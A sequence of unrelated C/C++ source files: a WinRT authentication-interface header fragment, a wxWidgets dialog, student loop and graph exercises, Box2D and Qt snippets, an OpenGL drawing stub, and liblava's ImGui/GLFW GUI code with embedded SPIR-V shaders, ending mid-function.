IWebAccountProviderManageAccountOperation(std::nullptr_t = nullptr) noexcept {} }; struct IWebAccountProviderOperation : Windows::Foundation::IInspectable, impl::consume<IWebAccountProviderOperation> { IWebAccountProviderOperation(std::nullptr_t = nullptr) noexcept {} }; struct IWebAccountProviderRetrieveCookiesOperation : Windows::Foundation::IInspectable, impl::consume<IWebAccountProviderRetrieveCookiesOperation>, impl::require<IWebAccountProviderRetrieveCookiesOperation, Windows::Security::Authentication::Web::Provider::IWebAccountProviderOperation> { IWebAccountProviderRetrieveCookiesOperation(std::nullptr_t = nullptr) noexcept {} }; struct IWebAccountProviderSignOutAccountOperation : Windows::Foundation::IInspectable, impl::consume<IWebAccountProviderSignOutAccountOperation>, impl::require<IWebAccountProviderSignOutAccountOperation, Windows::Security::Authentication::Web::Provider::IWebAccountProviderOperation> { IWebAccountProviderSignOutAccountOperation(std::nullptr_t = nullptr) noexcept {} }; struct IWebAccountProviderSilentReportOperation : Windows::Foundation::IInspectable, impl::consume<IWebAccountProviderSilentReportOperation>, impl::require<IWebAccountProviderSilentReportOperation, Windows::Security::Authentication::Web::Provider::IWebAccountProviderBaseReportOperation> { IWebAccountProviderSilentReportOperation(std::nullptr_t = nullptr) noexcept {} }; struct IWebAccountProviderTokenObjects : Windows::Foundation::IInspectable, impl::consume<IWebAccountProviderTokenObjects> { IWebAccountProviderTokenObjects(std::nullptr_t = nullptr) noexcept {} }; struct IWebAccountProviderTokenObjects2 : Windows::Foundation::IInspectable, impl::consume<IWebAccountProviderTokenObjects2>, impl::require<IWebAccountProviderTokenObjects2, Windows::Security::Authentication::Web::Provider::IWebAccountProviderTokenObjects> { IWebAccountProviderTokenObjects2(std::nullptr_t = nullptr) noexcept {} }; struct IWebAccountProviderTokenOperation : Windows::Foundation::IInspectable, impl::consume<IWebAccountProviderTokenOperation>, impl::require<IWebAccountProviderTokenOperation, Windows::Security::Authentication::Web::Provider::IWebAccountProviderOperation> { IWebAccountProviderTokenOperation(std::nullptr_t = nullptr) noexcept {} }; struct IWebAccountProviderUIReportOperation : Windows::Foundation::IInspectable, impl::consume<IWebAccountProviderUIReportOperation>, impl::require<IWebAccountProviderUIReportOperation, Windows::Security::Authentication::Web::Provider::IWebAccountProviderBaseReportOperation> { IWebAccountProviderUIReportOperation(std::nullptr_t = nullptr) noexcept {} }; struct IWebAccountScopeManagerStatics : Windows::Foundation::IInspectable, impl::consume<IWebAccountScopeManagerStatics> { IWebAccountScopeManagerStatics(std::nullptr_t = nullptr) noexcept {} }; struct IWebProviderTokenRequest : Windows::Foundation::IInspectable, impl::consume<IWebProviderTokenRequest> { IWebProviderTokenRequest(std::nullptr_t = nullptr) noexcept {} }; struct IWebProviderTokenRequest2 : Windows::Foundation::IInspectable, impl::consume<IWebProviderTokenRequest2> { IWebProviderTokenRequest2(std::nullptr_t = nullptr) noexcept {} }; struct IWebProviderTokenResponse : Windows::Foundation::IInspectable, impl::consume<IWebProviderTokenResponse> { IWebProviderTokenResponse(std::nullptr_t = nullptr) noexcept {} }; struct IWebProviderTokenResponseFactory : Windows::Foundation::IInspectable, impl::consume<IWebProviderTokenResponseFactory> { IWebProviderTokenResponseFactory(std::nullptr_t = nullptr) noexcept {} }; } }
/*************************************************************************** dialogoimportar.h - description ------------------- begin : mar abr 6 2004 copyright : (C) 2004 by Oscar G. Duarte email : ogduarte@ing.unal.edu.co ***************************************************************************/ /*************************************************************************** * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * * the Free Software Foundation; either version 2 of the License, or * * (at your option) any later version. * * * ***************************************************************************/ #ifndef DIALOGOIMPORTAR_H #define DIALOGOIMPORTAR_H #include <wx/wx.h> #include <wx/html/helpctrl.h> #include "proyecto.h" /**Importación de archivos de texto *@author Oscar G. Duarte */ class DialogoImportar : public wxDialog { public: DialogoImportar(Proyecto *proy,wxWindow* parent,const wxString& title, wxHtmlHelpController *ayuda); ~DialogoImportar(); void llenarCuadro(); void cambiaSel(wxCommandEvent&); void aplicar(wxCommandEvent&); void seleccionarArchivo(wxCommandEvent&); void importar(wxCommandEvent&); void cerrarOk(wxCommandEvent&); void cancelar(wxCommandEvent&); void ayuda(wxCommandEvent&); private: Proyecto *Proy; wxHtmlHelpController *Ayuda; wxString DirectorioActual; wxString ArchivoActual; ListaSelecciones ListaSel; wxButton *ButtonOK; wxButton *ButtonCancelar; wxButton *ButtonAyuda; wxButton *ButtonArchivo; wxButton *ButtonImportar; wxStaticText *StaticArchivo; wxStaticText *StaticOpciones; wxTextCtrl *TextArchivo; wxListBox *ListBoxItems; wxComboBox *ComboSel; wxButton *ButtonAplicar; DECLARE_EVENT_TABLE() }; enum { DLG_IMPORTAR_BTN_OK = 1, DLG_IMPORTAR_BTN_CANCEL, DLG_IMPORTAR_BTN_AYUDA, DLG_IMPORTAR_BTN_ARCHIVO, DLG_IMPORTAR_BTN_IMPORTAR, DLG_IMPORTAR_STATIC_ARCHIVO, DLG_IMPORTAR_STATIC_OPCIONES, DLG_IMPORTAR_TEXT_ARCHIVO, DLG_IMPORTAR_LISTBOX_ITEMS, DLG_IMPORTAR_COMBOBOX_SEL, DLG_IMPORTAR_BTN_APLICAR }; #endif
#include <iostream> #include <vector> using namespace std; int main() { {// basic for loop int numTimes{ 0 }; cin >> numTimes; /* Initializer; Conditional ; What happens after each loop*/ for (int i{ 0 }/*ES.74*/; i <= numTimes; i++) { cout << i << endl; //i++; //ES.86 } cout << endl; } {//Range based for loops vector<int> v{ 1,2,3,4,5,6 }; //basic for loop, not best practice for STL containers. for (int i{ 0 }; i < v.size(); i++) { cout << v[i] << endl; } //range based for loop for (auto myInt : v) { myInt++;//doesn't not change v! cout << myInt << endl; } for (int myInt : v)//auto is not necessary if the type is easy, but if you change v's type, auto is nice. { myInt++;//doesn't not change v! cout << myInt << endl; } for (auto& myInt : v) { myInt++; //modify's v! cout << myInt << endl; } for (const auto& myInt : v) { //myInt++; //const, so can't modify the value! Shows intention! cout << myInt << endl; } } {//iterator for loop std::vector<int> v{ 1, 2, 3, 4 ,5 ,6 }; for (auto vIter{ v.begin() }; vIter != v.end(); ) { if (*vIter % 2 != 0) { vIter = v.erase(vIter); } else vIter++; } } system("PAUSE"); }
#pragma once #include <Box2D/Box2D.h> #include <vector> class PhysicsComponent : public Component { public: PhysicsComponent(b2BodyDef* bd, bool ControlComponents, b2FixtureDef* fixdef, ...) { va_list args; BodyDef = bd; Fixtures = std::vector<b2FixtureDef*>(); for (va_start(args, fixdef); fixdef != NULL; fixdef = va_arg(args, b2FixtureDef*)) { Fixtures.push_back(fixdef); } va_end(args); ControlOtherComponents = ControlComponents; World = NULL; Body = NULL; } PhysicsComponent(b2BodyDef* bd, b2FixtureDef* fixdef, ...) { va_list args; BodyDef = bd; Fixtures = std::vector<b2FixtureDef*>(); for (va_start(args, fixdef); fixdef != NULL; fixdef = va_arg(args, b2FixtureDef*)) { Fixtures.push_back(fixdef); } va_end(args); ControlOtherComponents = false; World = NULL; Body = NULL; } b2BodyDef* BodyDef; std::vector<b2FixtureDef*> Fixtures; b2Body* Body; b2World* World; bool ControlOtherComponents; };
#include "mainwindow.h" #include <QApplication> #include <QSplashScreen> #include <QTimer> int main(int argc, char *argv[]) { QApplication application(argc, argv); QSplashScreen *splash=new QSplashScreen; splash->setPixmap(QPixmap(":/MyFiles/fallout.jpg")); splash->show(); MainWindow window; QTimer::singleShot(1000,splash,SLOT(close())); QTimer::singleShot(1000,&window,SLOT(show())); return application.exec(); }
#include <iostream> #include <ctime> #include <cstdlib> using namespace std; int main() { int s[10],q[10],l; srand((unsigned)time(NULL)); for(int i=0;i<10;i++) { s[i] = rand() % 10; } for (int i = 0; i < 10; ++i) { if(cin>>l) q[i]=l; break; } int *p=begin(s),*u=begin(q); while(p != end(s) && u != end(q)) if(*p!=*u){ cout <<"两数不等" << endl; break;} else{ p++; u++; } return 0; }
#include <stdio.h> #include <string.h> #include <math.h> #include <stdlib.h> #include <malloc.h> #define MAX 100 typedef struct graph { int v; struct graph *e; }graph; int visited[101]; int bfs[101]; int main() { int N,M,ui,vi,i,l,c,chld[101]={0},vrtx; graph *g[MAX],*next; scanf("%d%d",&N,&M); i=1; while(i<=N) { g[i]=(graph *)malloc(sizeof(graph)); g[i]->v=i; g[i]->e=NULL; i++; } i=0; while(i<M) { scanf("%d%d",&ui,&vi); next=g[ui]; while(next->e!=NULL) next=next->e; next->e = (graph *)malloc(sizeof(graph)); next->e->v=vi; next->e->e=NULL; next=g[vi]; while(next->e!=NULL) next=next->e; next->e = (graph *)malloc(sizeof(graph)); next->e->v=ui; next->e->e=NULL; i++; } i=0; l=1; bfs[0]=1; visited[0]=1; while(i<N) { next = g[bfs[i]]; visited[next->v] = 1; chld[next->v] = 1; next=next->e; while(next!=NULL) { if(visited[next->v] == 0) { bfs[l++]=next->v; chld[next->v] =1; } next=next->e; } i++; } i=N-1; while(i>=0) { next = g[bfs[i]]; visited[next->v] = 0; vrtx = next->v; next=next->e; l=0; while(next!=NULL) { if(visited[next->v] == 1) { chld[next->v] += chld[vrtx]; l += 1; } next=next->e; } if(l==0) chld[vrtx] -= 1; i--; } c=0; for(i=1;i<=N;i++) { if(chld[i] % 2 == 0) c+=1; } printf("%d\n",c); return 0; }
#include "main.h" //----------------------------------------------------------------------------- void MyGlDraw(void) { //************************************************************************* // Chame aqui as funções do mygl.h //************************************************************************* glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); //simple point(100,800); //putPixel(100,100,255,0,0,255); // for(int i = 0; i < IMAGE_WIDTH/2; i++){ // for(int j = 0; j < IMAGE_HEIGHT/2; j++){ // if(j%8 == 0 && i%8 == 0){ // putPixel(i,j,0,255,0,255); // } // } // } // for(int i = IMAGE_WIDTH/2; i < IMAGE_WIDTH; i++){ // for(int j = 0; j < IMAGE_HEIGHT/2; j++){ // if(j%8 == 0 && i%8 == 0){ // putPixel(i,j,255,0,0,255); // } // } // } // for(int i = 0; i < IMAGE_WIDTH/2; i++){ // for(int j = IMAGE_HEIGHT/2; j < glutGet(GLUT_WINDOW_HEIGHT); j++){ // if(j%8 == 0 && i%8 == 0){ // putPixel(i,j,0,0,255,255); // } // } // } // for(int i = IMAGE_WIDTH/2; i < IMAGE_WIDTH; i++){ // for(int j = IMAGE_HEIGHT/2; j < IMAGE_HEIGHT; j++){ // if(j%8 == 0 && i%8 == 0){ // putPixel(i,j,0,255,255,255); // } // } // } //draw line from (0,500) untill (500,0) // drawLine(); // ddaAlgorithm(0,500,500,0,255,0,0,255); triangle(); } //----------------------------------------------------------------------------- int main(int argc, char **argv) { // Inicializações. InitOpenGL(&argc, argv); InitCallBacks(); InitDataStructures(); // Ajusta a função que chama as funções do mygl.h DrawFunc = MyGlDraw; // Framebuffer scan loop. glutMainLoop(); return 0; }
// file : liblava/app/gui.cpp // copyright : Copyright (c) 2018-present, Lava Block OÜ // license : MIT; see accompanying LICENSE file #include <liblava/app/gui.hpp> #include <liblava/app/def.hpp> #define GLFW_INCLUDE_NONE #define GLFW_INCLUDE_VULKAN #include <GLFW/glfw3.h> #ifdef _WIN32 #undef APIENTRY #define GLFW_EXPOSE_NATIVE_WIN32 #include <GLFW/glfw3native.h> // glfwGetWin32Window #endif #include <imgui.h> namespace lava { name get_clipboard_text(void* user_data) { return glfwGetClipboardString(static_cast<GLFWwindow*>(user_data)); } void set_clipboard_text(void* user_data, name text) { glfwSetClipboardString(static_cast<GLFWwindow*>(user_data), text); } void gui::handle_mouse_button_event(i32 button, i32 action, i32 mods) { if (action == GLFW_PRESS && button >= 0 && button < IM_ARRAYSIZE(mouse_just_pressed)) mouse_just_pressed[button] = true; } void gui::handle_scroll_event(r64 x_offset, r64 y_offset) { auto& io = ImGui::GetIO(); io.MouseWheelH += static_cast<float>(x_offset); io.MouseWheel += static_cast<float>(y_offset); } void gui::handle_key_event(i32 key, i32 scancode, i32 action, i32 mods) { auto& io = ImGui::GetIO(); if (action == GLFW_PRESS) io.KeysDown[key] = true; if (action == GLFW_RELEASE) io.KeysDown[key] = false; io.KeyCtrl = io.KeysDown[GLFW_KEY_LEFT_CONTROL] || io.KeysDown[GLFW_KEY_RIGHT_CONTROL]; io.KeyShift = io.KeysDown[GLFW_KEY_LEFT_SHIFT] || io.KeysDown[GLFW_KEY_RIGHT_SHIFT]; io.KeyAlt = io.KeysDown[GLFW_KEY_LEFT_ALT] || io.KeysDown[GLFW_KEY_RIGHT_ALT]; io.KeySuper = io.KeysDown[GLFW_KEY_LEFT_SUPER] || io.KeysDown[GLFW_KEY_RIGHT_SUPER]; } void gui::update_mouse_pos_and_buttons() { auto& io = ImGui::GetIO(); for (i32 i = 0; i < IM_ARRAYSIZE(io.MouseDown); i++) { io.MouseDown[i] = mouse_just_pressed[i] || glfwGetMouseButton(window, i) != 0; mouse_just_pressed[i] = false; } ImVec2 const mouse_pos_backup = io.MousePos; io.MousePos = ImVec2(-FLT_MAX, -FLT_MAX); if (glfwGetWindowAttrib(window, GLFW_FOCUSED)) { if (io.WantSetMousePos) { glfwSetCursorPos(window, (double)mouse_pos_backup.x, (double)mouse_pos_backup.y); } else { double mouse_x, mouse_y; glfwGetCursorPos(window, &mouse_x, &mouse_y); io.MousePos = ImVec2((float)mouse_x, (float)mouse_y); } } } void gui::update_mouse_cursor() { auto& io = ImGui::GetIO(); if ((io.ConfigFlags & ImGuiConfigFlags_NoMouseCursorChange) || glfwGetInputMode(window, GLFW_CURSOR) == GLFW_CURSOR_DISABLED) return; ImGuiMouseCursor imgui_cursor = ImGui::GetMouseCursor(); if (imgui_cursor == ImGuiMouseCursor_None || io.MouseDrawCursor) { glfwSetInputMode(window, GLFW_CURSOR, GLFW_CURSOR_HIDDEN); } else { glfwSetCursor(window, mouse_cursors[imgui_cursor] ? mouse_cursors[imgui_cursor] : mouse_cursors[ImGuiMouseCursor_Arrow]); glfwSetInputMode(window, GLFW_CURSOR, GLFW_CURSOR_NORMAL); } } void gui::setup(GLFWwindow* w, config config) { window = w; current_time = 0.0; IMGUI_CHECKVERSION(); ImGui::CreateContext(); auto& io = ImGui::GetIO(); io.BackendFlags |= ImGuiBackendFlags_HasMouseCursors; io.BackendFlags |= ImGuiBackendFlags_HasSetMousePos; io.KeyMap[ImGuiKey_Tab] = GLFW_KEY_TAB; io.KeyMap[ImGuiKey_LeftArrow] = GLFW_KEY_LEFT; io.KeyMap[ImGuiKey_RightArrow] = GLFW_KEY_RIGHT; io.KeyMap[ImGuiKey_UpArrow] = GLFW_KEY_UP; io.KeyMap[ImGuiKey_DownArrow] = GLFW_KEY_DOWN; io.KeyMap[ImGuiKey_PageUp] = GLFW_KEY_PAGE_UP; io.KeyMap[ImGuiKey_PageDown] = GLFW_KEY_PAGE_DOWN; io.KeyMap[ImGuiKey_Home] = GLFW_KEY_HOME; io.KeyMap[ImGuiKey_End] = GLFW_KEY_END; io.KeyMap[ImGuiKey_Insert] = GLFW_KEY_INSERT; io.KeyMap[ImGuiKey_Delete] = GLFW_KEY_DELETE; io.KeyMap[ImGuiKey_Backspace] = GLFW_KEY_BACKSPACE; io.KeyMap[ImGuiKey_Space] = GLFW_KEY_SPACE; io.KeyMap[ImGuiKey_Enter] = GLFW_KEY_ENTER; io.KeyMap[ImGuiKey_Escape] = GLFW_KEY_ESCAPE; io.KeyMap[ImGuiKey_A] = GLFW_KEY_A; io.KeyMap[ImGuiKey_C] = GLFW_KEY_C; io.KeyMap[ImGuiKey_V] = GLFW_KEY_V; io.KeyMap[ImGuiKey_X] = GLFW_KEY_X; io.KeyMap[ImGuiKey_Y] = GLFW_KEY_Y; io.KeyMap[ImGuiKey_Z] = GLFW_KEY_Z; auto& style = ImGui::GetStyle(); style.Colors[ImGuiCol_TitleBg] = ImVec4(0.8f, 0.f, 0.f, 0.4f); style.Colors[ImGuiCol_TitleBgActive] = ImVec4(0.8f, 0.f, 0.0f, 1.f); style.Colors[ImGuiCol_TitleBgCollapsed] = ImVec4(1.f, 0.f, 0.f, 0.1f); style.Colors[ImGuiCol_MenuBarBg] = ImVec4(1.f, 0.f, 0.f, 0.4f); style.Colors[ImGuiCol_Header] = ImVec4(0.8f, 0.f, 0.f, 0.4f); style.Colors[ImGuiCol_HeaderActive] = ImVec4(1.f, 0.f, 0.f, 0.4f); style.Colors[ImGuiCol_HeaderHovered] = ImVec4(1.f, 0.f, 0.f, 0.5f); style.Colors[ImGuiCol_CheckMark] = ImVec4(1.f, 0.f, 0.f, 0.8f); style.Colors[ImGuiCol_WindowBg] = ImVec4(0.059f, 0.059f, 0.059f, 0.863f); style.Colors[ImGuiCol_ResizeGrip] = ImVec4(0.f, 0.f, 0.f, 0.0f); if (config.font_data.ptr) { ImFontConfig font_config; font_config.FontDataOwnedByAtlas = false; io.Fonts->AddFontFromMemoryTTF(config.font_data.ptr, to_i32(config.font_data.size), config.font_size, &font_config); } else { io.Fonts->AddFontDefault(); } if (config.icon.font_data.ptr) { static const ImWchar icons_ranges[] = { config.icon.range_begin, config.icon.range_end, 0 }; ImFontConfig icons_config; icons_config.MergeMode = true; icons_config.PixelSnapH = true; icons_config.FontDataOwnedByAtlas = false; io.Fonts->AddFontFromMemoryTTF(config.icon.font_data.ptr, to_i32(config.icon.font_data.size), config.icon.size, &icons_config, icons_ranges); } io.RenderDrawListsFn = nullptr; io.SetClipboardTextFn = set_clipboard_text; io.GetClipboardTextFn = get_clipboard_text; io.ClipboardUserData = window; #if defined(_WIN32) // io.ImeWindowHandle = (void*)glfwGetWin32Window(window); #endif // _WIN32 mouse_cursors.resize(ImGuiMouseCursor_Count_); mouse_cursors[ImGuiMouseCursor_Arrow] = glfwCreateStandardCursor(GLFW_ARROW_CURSOR); mouse_cursors[ImGuiMouseCursor_TextInput] = glfwCreateStandardCursor(GLFW_IBEAM_CURSOR); mouse_cursors[ImGuiMouseCursor_ResizeAll] = glfwCreateStandardCursor(GLFW_ARROW_CURSOR); mouse_cursors[ImGuiMouseCursor_ResizeNS] = glfwCreateStandardCursor(GLFW_VRESIZE_CURSOR); mouse_cursors[ImGuiMouseCursor_ResizeEW] = glfwCreateStandardCursor(GLFW_HRESIZE_CURSOR); mouse_cursors[ImGuiMouseCursor_ResizeNESW] = glfwCreateStandardCursor(GLFW_ARROW_CURSOR); mouse_cursors[ImGuiMouseCursor_ResizeNWSE] = glfwCreateStandardCursor(GLFW_ARROW_CURSOR); mouse_cursors[ImGuiMouseCursor_Hand] = glfwCreateStandardCursor(GLFW_HAND_CURSOR); glfwSetCharCallback(window, [](GLFWwindow*, unsigned int c) { if (c > 0 && c < 0x10000) ImGui::GetIO().AddInputCharacter(static_cast<unsigned short>(c)); }); set_ini_file(config.ini_file_dir); on_key_event = [&](key_event const& event) { if (activated()) handle_key_event(to_i32(event.key), event.scancode, to_i32(event.action), to_i32(event.mod)); return capture_keyboard(); }; on_scroll_event = [&](scroll_event const& event) { if (activated()) handle_scroll_event(event.offset.x, event.offset.y); return capture_mouse(); }; on_mouse_button_event = [&](mouse_button_event const& event) { if (activated()) handle_mouse_button_event(to_i32(event.button), to_i32(event.action), to_i32(event.mod)); return capture_mouse(); }; } #define MAP_BUTTON(NAV_NO, BUTTON_NO) \ { \ if (buttons_count > BUTTON_NO && buttons[BUTTON_NO] == GLFW_PRESS) \ io.NavInputs[NAV_NO] = 1.0f; \ } #define MAP_ANALOG(NAV_NO, AXIS_NO, V0, V1) \ { \ float v = (axes_count > AXIS_NO) ? axes[AXIS_NO] : V0; \ v = (v - V0) / (V1 - V0); \ if (v > 1.f) \ v = 1.f; \ if (io.NavInputs[NAV_NO] < v) \ io.NavInputs[NAV_NO] = v; \ } void gui::new_frame() { auto& io = ImGui::GetIO(); IM_ASSERT(io.Fonts->IsBuilt()); i32 w, h = 0; i32 display_w, display_h = 0; glfwGetWindowSize(window, &w, &h); glfwGetFramebufferSize(window, &display_w, &display_h); io.DisplaySize = ImVec2((r32)w, (r32)h); io.DisplayFramebufferScale = ImVec2(w > 0 ? ((r32)display_w / w) : 0, h > 0 ? ((r32)display_h / h) : 0); auto now = glfwGetTime(); io.DeltaTime = current_time > 0.0 ? (r32)(now - current_time) : (1.f / 60.f); current_time = now; update_mouse_pos_and_buttons(); update_mouse_cursor(); memset(io.NavInputs, 0, sizeof(io.NavInputs)); if (io.ConfigFlags & ImGuiConfigFlags_NavEnableGamepad) { int axes_count = 0, buttons_count = 0; float const* axes = glfwGetJoystickAxes(GLFW_JOYSTICK_1, &axes_count); unsigned char const* buttons = glfwGetJoystickButtons(GLFW_JOYSTICK_1, &buttons_count); MAP_BUTTON(ImGuiNavInput_Activate, 0); // Cross / A MAP_BUTTON(ImGuiNavInput_Cancel, 1); // Circle / B MAP_BUTTON(ImGuiNavInput_Menu, 2); // Square / X MAP_BUTTON(ImGuiNavInput_Input, 3); // Triangle / Y MAP_BUTTON(ImGuiNavInput_DpadLeft, 13); // D-Pad Left MAP_BUTTON(ImGuiNavInput_DpadRight, 11); // D-Pad Right MAP_BUTTON(ImGuiNavInput_DpadUp, 10); // D-Pad Up MAP_BUTTON(ImGuiNavInput_DpadDown, 12); // D-Pad Down MAP_BUTTON(ImGuiNavInput_FocusPrev, 4); // L1 / LB MAP_BUTTON(ImGuiNavInput_FocusNext, 5); // R1 / RB MAP_BUTTON(ImGuiNavInput_TweakSlow, 4); // L1 / LB MAP_BUTTON(ImGuiNavInput_TweakFast, 5); // R1 / RB MAP_ANALOG(ImGuiNavInput_LStickLeft, 0, -0.3f, -0.9f); MAP_ANALOG(ImGuiNavInput_LStickRight, 0, +0.3f, +0.9f); MAP_ANALOG(ImGuiNavInput_LStickUp, 1, +0.3f, +0.9f); MAP_ANALOG(ImGuiNavInput_LStickDown, 1, -0.3f, -0.9f); if (axes_count > 0 && buttons_count > 0) io.BackendFlags |= ImGuiBackendFlags_HasGamepad; else io.BackendFlags &= ~ImGuiBackendFlags_HasGamepad; } ImGui::NewFrame(); } #undef MAP_BUTTON #undef MAP_ANALOG static ui32 imgui_vert_shader[] = { 0x07230203,0x00010000,0x00080007,0x0000002e,0x00000000,0x00020011,0x00000001,0x0006000b, 0x00000001,0x4c534c47,0x6474732e,0x3035342e,0x00000000,0x0003000e,0x00000000,0x00000001, 0x000a000f,0x00000000,0x00000004,0x6e69616d,0x00000000,0x0000000b,0x0000000f,0x00000015, 0x0000001b,0x0000001c,0x00030003,0x00000002,0x000001c2,0x00040005,0x00000004,0x6e69616d, 0x00000000,0x00030005,0x00000009,0x00000000,0x00050006,0x00000009,0x00000000,0x6f6c6f43, 0x00000072,0x00040006,0x00000009,0x00000001,0x00005655,0x00030005,0x0000000b,0x0074754f, 0x00040005,0x0000000f,0x6c6f4361,0x0000726f,0x00030005,0x00000015,0x00565561,0x00060005, 0x00000019,0x505f6c67,0x65567265,0x78657472,0x00000000,0x00060006,0x00000019,0x00000000, 0x505f6c67,0x7469736f,0x006e6f69,0x00030005,0x0000001b,0x00000000,0x00040005,0x0000001c, 0x736f5061,0x00000000,0x00060005,0x0000001e,0x73755075,0x6e6f4368,0x6e617473,0x00000074, 0x00050006,0x0000001e,0x00000000,0x61635375,0x0000656c,0x00060006,0x0000001e,0x00000001, 0x61725475,0x616c736e,0x00006574,0x00030005,0x00000020,0x00006370,0x00040047,0x0000000b, 0x0000001e,0x00000000,0x00040047,0x0000000f,0x0000001e,0x00000002,0x00040047,0x00000015, 0x0000001e,0x00000001,0x00050048,0x00000019,0x00000000,0x0000000b,0x00000000,0x00030047, 0x00000019,0x00000002,0x00040047,0x0000001c,0x0000001e,0x00000000,0x00050048,0x0000001e, 0x00000000,0x00000023,0x00000000,0x00050048,0x0000001e,0x00000001,0x00000023,0x00000008, 0x00030047,0x0000001e,0x00000002,0x00020013,0x00000002,0x00030021,0x00000003,0x00000002, 0x00030016,0x00000006,0x00000020,0x00040017,0x00000007,0x00000006,0x00000004,0x00040017, 0x00000008,0x00000006,0x00000002,0x0004001e,0x00000009,0x00000007,0x00000008,0x00040020, 0x0000000a,0x00000003,0x00000009,0x0004003b,0x0000000a,0x0000000b,0x00000003,0x00040015, 0x0000000c,0x00000020,0x00000001,0x0004002b,0x0000000c,0x0000000d,0x00000000,0x00040020, 0x0000000e,0x00000001,0x00000007,0x0004003b,0x0000000e,0x0000000f,0x00000001,0x00040020, 0x00000011,0x00000003,0x00000007,0x0004002b,0x0000000c,0x00000013,0x00000001,0x00040020, 0x00000014,0x00000001,0x00000008,0x0004003b,0x00000014,0x00000015,0x00000001,0x00040020, 0x00000017,0x00000003,0x00000008,0x0003001e,0x00000019,0x00000007,0x00040020,0x0000001a, 0x00000003,0x00000019,0x0004003b,0x0000001a,0x0000001b,0x00000003,0x0004003b,0x00000014, 0x0000001c,0x00000001,0x0004001e,0x0000001e,0x00000008,0x00000008,0x00040020,0x0000001f, 0x00000009,0x0000001e,0x0004003b,0x0000001f,0x00000020,0x00000009,0x00040020,0x00000021, 0x00000009,0x00000008,0x0004002b,0x00000006,0x00000028,0x00000000,0x0004002b,0x00000006, 0x00000029,0x3f800000,0x00050036,0x00000002,0x00000004,0x00000000,0x00000003,0x000200f8, 0x00000005,0x0004003d,0x00000007,0x00000010,0x0000000f,0x00050041,0x00000011,0x00000012, 0x0000000b,0x0000000d,0x0003003e,0x00000012,0x00000010,0x0004003d,0x00000008,0x00000016, 0x00000015,0x00050041,0x00000017,0x00000018,0x0000000b,0x00000013,0x0003003e,0x00000018, 0x00000016,0x0004003d,0x00000008,0x0000001d,0x0000001c,0x00050041,0x00000021,0x00000022, 0x00000020,0x0000000d,0x0004003d,0x00000008,0x00000023,0x00000022,0x00050085,0x00000008, 0x00000024,0x0000001d,0x00000023,0x00050041,0x00000021,0x00000025,0x00000020,0x00000013, 0x0004003d,0x00000008,0x00000026,0x00000025,0x00050081,0x00000008,0x00000027,0x00000024, 0x00000026,0x00050051,0x00000006,0x0000002a,0x00000027,0x00000000,0x00050051,0x00000006, 0x0000002b,0x00000027,0x00000001,0x00070050,0x00000007,0x0000002c,0x0000002a,0x0000002b, 0x00000028,0x00000029,0x00050041,0x00000011,0x0000002d,0x0000001b,0x0000000d,0x0003003e, 0x0000002d,0x0000002c,0x000100fd,0x00010038 }; static ui32 imgui_frag_shader[] = { 0x07230203,0x00010000,0x00080007,0x0000001e,0x00000000,0x00020011,0x00000001,0x0006000b, 0x00000001,0x4c534c47,0x6474732e,0x3035342e,0x00000000,0x0003000e,0x00000000,0x00000001, 0x0007000f,0x00000004,0x00000004,0x6e69616d,0x00000000,0x00000009,0x0000000d,0x00030010, 0x00000004,0x00000007,0x00030003,0x00000002,0x000001c2,0x00040005,0x00000004,0x6e69616d, 0x00000000,0x00040005,0x00000009,0x6c6f4366,0x0000726f,0x00030005,0x0000000b,0x00000000, 0x00050006,0x0000000b,0x00000000,0x6f6c6f43,0x00000072,0x00040006,0x0000000b,0x00000001, 0x00005655,0x00030005,0x0000000d,0x00006e49,0x00050005,0x00000016,0x78655473,0x65727574, 0x00000000,0x00040047,0x00000009,0x0000001e,0x00000000,0x00040047,0x0000000d,0x0000001e, 0x00000000,0x00040047,0x00000016,0x00000022,0x00000000,0x00040047,0x00000016,0x00000021, 0x00000000,0x00020013,0x00000002,0x00030021,0x00000003,0x00000002,0x00030016,0x00000006, 0x00000020,0x00040017,0x00000007,0x00000006,0x00000004,0x00040020,0x00000008,0x00000003, 0x00000007,0x0004003b,0x00000008,0x00000009,0x00000003,0x00040017,0x0000000a,0x00000006, 0x00000002,0x0004001e,0x0000000b,0x00000007,0x0000000a,0x00040020,0x0000000c,0x00000001, 0x0000000b,0x0004003b,0x0000000c,0x0000000d,0x00000001,0x00040015,0x0000000e,0x00000020, 0x00000001,0x0004002b,0x0000000e,0x0000000f,0x00000000,0x00040020,0x00000010,0x00000001, 0x00000007,0x00090019,0x00000013,0x00000006,0x00000001,0x00000000,0x00000000,0x00000000, 0x00000001,0x00000000,0x0003001b,0x00000014,0x00000013,0x00040020,0x00000015,0x00000000, 0x00000014,0x0004003b,0x00000015,0x00000016,0x00000000,0x0004002b,0x0000000e,0x00000018, 0x00000001,0x00040020,0x00000019,0x00000001,0x0000000a,0x00050036,0x00000002,0x00000004, 0x00000000,0x00000003,0x000200f8,0x00000005,0x00050041,0x00000010,0x00000011,0x0000000d, 0x0000000f,0x0004003d,0x00000007,0x00000012,0x00000011,0x0004003d,0x00000014,0x00000017, 0x00000016,0x00050041,0x00000019,0x0000001a,0x0000000d,0x00000018,0x0004003d,0x0000000a, 0x0000001b,0x0000001a,0x00050057,0x00000007,0x0000001c,0x00000017,0x0000001b,0x00050085, 0x00000007,0x0000001d,0x00000012,0x0000001c,0x0003003e,0x00000009,0x0000001d,0x000100fd, 0x00010038 }; bool gui::create(graphics_pipeline::ptr p, index mf) { pipeline = std::move(p); device = pipeline->get_device(); max_frames = mf; for (auto i = 0u; i < max_frames; ++i) { vertex_buffers.push_back(make_buffer()); index_buffers.push_back(make_buffer()); } pipeline->set_vertex_input_binding({ 0, sizeof(ImDrawVert), VK_VERTEX_INPUT_RATE_VERTEX }); pipeline->set_vertex_input_attributes({ { 0, 0, VK_FORMAT_R32G32_SFLOAT, to_ui32(offsetof(ImDrawVert, pos)) }, { 1, 0, VK_FORMAT_R32G32_SFLOAT, to_ui32(offsetof(ImDrawVert, uv)) }, { 2, 0, VK_FORMAT_R8G8B8A8_UNORM, to_ui32(offsetof(ImDrawVert, col)) }, }); if (!pipeline->add_shader({ imgui_vert_shader, sizeof(imgui_vert_shader) }, VK_SHADER_STAGE_VERTEX_BIT)) return false; if (!pipeline->add_shader({ imgui_frag_shader, sizeof(imgui_frag_shader) }, VK_SHADER_STAGE_FRAGMENT_BIT)) return false; pipeline->add_color_blend_attachment(); descriptor = make_descriptor(); 